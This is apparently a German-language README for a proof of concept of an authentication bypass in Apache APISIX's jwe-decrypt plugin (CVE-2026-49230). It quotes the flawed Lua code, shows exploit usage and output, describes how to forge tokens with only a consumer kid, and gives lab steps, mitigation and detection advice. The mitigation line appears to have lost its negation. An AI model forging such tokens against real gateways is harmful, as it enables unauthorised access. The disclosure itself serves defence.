
PoC für CVE-2026-49230: Apache APISIX jwe-decrypt Authentifizierungsumgehung (fehlende AES-GCM-Tag-Validierung, CWE-354, CVSS 9.1)
jwe-decrypt AuthentifizierungsumgehungNachweis des Konzepts für eine Authentifizierungsumgehung im Apache APISIX jwe-decrypt-Plugin. Das Plugin entschlüsselt ein JWE-Token und leitet seinen Klartext an den Upstream weiter, wobei es als Authentifizierungs-Gate fungiert – aber es überprüft niemals das AES-GCM-Authentifizierungstag. Ein Token, das lediglich einen gültigen Consumer kid trägt, wird akzeptiert, egal wie unecht sein Chiffretext und Tag sind. Ein Angreifer, der einen beliebigen Consumer-Key kennt – der im Klartext im Header jedes legitimen Tokens übertragen wird – umgeht das Gate ohne das AES-Geheimnis zu kennen.
| CVE | CVE-2026-49230 |
| Produkt | Apache APISIX (jwe-decrypt Plugin) |
| Betroffen | 3.8.0 – 3.16.0 |
| Behoben | 3.17.0 |
| Klasse | CWE-354 — Unzureichende Validierung des Integritätsprüfwerts |
| CVSS 3.1 | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Authentifizierung | Nicht authentifiziert (benötigt einen gültigen Consumer kid, nicht das Geheimnis) |
| Veröffentlicht | 2026-06-19 |
| Status | BESTÄTIGT – Ende-zu-Ende auf 3.16.0 reproduziert; auf 3.17.0 abgelehnt |
apisix/plugins/jwe-decrypt.lua (Tag 3.16.0):
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- returns ONE value
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err is ALWAYS nil -> dead guard
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- request passes
end
aes:decrypt() gibt nil zurück, wenn das GCM-Authentifizierungstag nicht übereinstimmt, aber dieser Rückgabewert wird verworfen und der Aufrufer inspiziert ein nicht vorhandenes err, das immer nil ist. Die Integritätsprüfung wird daher nie durchgesetzt: Jedes JWE mit einem auflösbaren kid wird authentifiziert. Das AES-Geheimnis – das Einzige, was ein Angreifer nicht haben sollte – wird nie wirklich benötigt.
Der Fix in 3.17.0 propagiert den Fehler (return decrypted, err) und ändert die Abfrage auf if not plaintext then return 400. Derselbe Fix entfernt auch die öffentliche GET /apisix/plugin/jwe/encrypt-Token-Minting-API des Plugins.
Siehe ANALYSIS.md für den vollständigen Code-Durchlauf.
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
Das gefälschte Token ist base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag. Nur der Header (mit einem gültigen kid) ist wichtig; alles danach ist vom Angreifer gewählter Müll.
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # same test rejects on the patched build
./teardown.sh
Diese Umgebung hat keine Docker-Brücke, daher verwendet das Labor --network host (etcd auf :2379, APISIX-Datenebene :9080, Admin :9180, Backend :8080).
Jede Kontrolle außer der GCM-Integritätsprüfung wird durchgesetzt, und das identische gefälschte Token wechselt von 200 zu 400 über die Fix-Grenze hinweg – die Umgehung ist spezifisch die fehlende Integritätsvalidierung, nicht eine falsch konfigurierte Route. Vollständiges Protokoll in EVIDENCE.txt.
Jeder Upstream, der APISIXs jwe-decrypt-Gate für die Authentifizierung vertraut, kann von einem nicht authentifizierten Angreifer erreicht werden, der einen einzigen gültigen Consumer kid besitzt. Da ein gültiger kid im Klartext im JWE-Header jedes rechtmäßig ausgestellten Tokens offengelegt wird, reicht ein erbeutetes oder durchgesickertes Token – oder ein erratbarer Consumer-Key – aus, um unbegrenzt akzeptierte Token zu fälschen und die Authentifizierungsgrenze des Gateways zu umgehen.
jwe-decrypt als alleinige Authentifizierungskontrolle verlassen; eine unabhängige Authentifizierungs-Plugin (z.B. key-auth/jwt-auth) oder eine Upstream-Prüfung hinzufügen, die die weitergeleitete Identität validiert.Anfragen, die sich durch jwe-decrypt authentifizieren, aber einen leeren/fehlenden Identitätsheader an den Upstream weiterleiten (Entschlüsselung hat still nil erzeugt), sind ein starkes Signal. Achten Sie auf Authorization: Bearer <jwe>-Anfragen, die das Gateway passieren, während der Upstream keinen nutzbaren weitergeleiteten Header erhält.
Forschung und PoC von Caio Fabrício (@BiiTts).
MIT — siehe LICENSE.
| Anfrage | 3.16.0 (verwundbar) | 3.17.0 (gepatcht) |
|---|
| kein Token | 403 JWE-Token fehlt | — |
| fehlerhaftes Token (<5 Teile) | 400 JWE-Token ungültig | — |
ungültiges kid + nutzlose Kryptografie | 400 ungültiger kid | — |
gültiges kid + nutzlose Kryptografie | 200 Upstream erreicht | 400 Entschlüsselung fehlgeschlagen |